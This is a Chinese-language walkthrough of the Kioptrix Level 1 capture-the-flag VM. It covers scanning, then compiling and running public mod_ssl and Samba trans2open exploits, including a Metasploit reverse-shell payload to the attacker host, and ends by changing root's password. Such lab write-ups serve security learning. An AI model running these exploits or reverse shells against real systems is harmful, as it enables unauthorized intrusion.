0x00 前言
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
困难:easy
这次的机器有点问题,下载下来以后,NAT下无法扫描到靶机。
后来检索到方法:
需要编辑VMX configuration file文件,把里头的bridged换成nat,但保留最后一个bridged
保存重启就好。
猜测应该是虚拟机默认网络配置的问题,由于对操作系统比较熟悉,这边提供下我的思路:
1、可以通过grub进入单用户模式,然后重置密码,再查看网卡配置
2、但是发现系统本身默认设置grub时间为0,导致根本进不了单用户
3、所以考虑挂载redhat镜像,并在修复模式下挂载靶机本地硬盘,修改grub配置,再尝试单用户模式修改密码进入。
OK,老规矩,找一下目标机器
端口扫一下:
得到开放的端口:22,80,111,139,443,1024,并得到在对应端口下使用的软件(mod_ssl/samba)。
通过端口扫描得知 apache-1.3.20,openssl-0.9.6b,mod_ssl-2.8.4(老版,谷歌搜索漏洞)
对于端口使用的插件,在下面将专门对其进行漏洞挖掘
03 目录扫描
dirb http://10.10.16.152
对 dirb 爬行的目录进行访问,没有发现可利用的价值。
04 漏洞挖掘
nikto -h 10.10.16.152
使用 nikto 进行 web 扫描发现几处可利用漏洞。
可以使用在线漏洞数据库搜索相对应的版本漏洞
https://www.exploit-db.com/search
05 漏洞利用
0x01 mod_ssl ( remote buffer overflow )
使用 Kali 自带的漏洞查找工具查找本地所有漏洞和 shellcode
searchsploit mod_ssl
ps: 如果使用 764.c 脚本的话,应为该脚本版本太老,所以还需对其内容进行修改,有点麻烦,这里直接使用 47080.c 脚本。
764.c 修改
在桌面新建一个 Kioptrix 文件夹,将 47080.c 文件拷贝过去,查看文件头得知文件的使用方法:要先安装 libssl-dev 库才能编译文件。
cp /usr/share/exploitdb/exploits/unix/remote/47080.c .
head 47080.c
sudo apt-get install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto
编译之后运行生成的二进制文件,发现使用该二进制文件的方法。
由于该靶机使用 apache-1.3.20,所以将 target 定位到 0x6a - 0x6b
0x02 samba 2.2
① remote code excution
利用 msf 的 auxiliary/scanner/smb/smb_version 模块得知靶机使用 samba-2.2.1a
搜索 samba 2.2 的漏洞利用模块,发现最下方的 Remote Code Excution
将该模块下的脚本复制到自定义的文件夹里面,查看文件头,编译脚本。
cp /usr/share/exploitdb/exploits/multiple/remote/10.c .
head 10.c
gcc -o samba 10.c
./samba -b 0 10.10.16.152 # -b 0 是指 Linux
② Remote Buffer Overflow
gcc -o call_trans2open 22469.c
./call_trans2open -t 10.10.16.152
③ 利用 msf
从上面 searchsploit 的结果来看,还有几个模块是关于 metasploit 的,因此可以利用 msf 来getshell 提权。
msfconsole
use exploit/linux/samba/trans2open
使用 show options 查看要添加什么参数
使用该模块下的一个 payload
set payload linux/x86/shell_reverse_tcp
set rhosts 10.10.16.152
set lhost 10.10.16.128
exploit
ps: 使用 python -v 查看当前 python 版本是 python 1.5 ,所以不能使用 python -c ‘import pty;pty.spawn("/bin/bash");’ ,可以使用 passwd 可以改变 root 密码,然后通过 ssh 登录 root 账户获取完全交互式 shell。
0x03 capture the flag
cat /var/mail/root
0x03 思路总结
这次的题目比较简单,目录扫描后发现没什么可用内容,就直接扫一下漏洞,找基本信息,看看有哪一些可利用的漏洞就可以。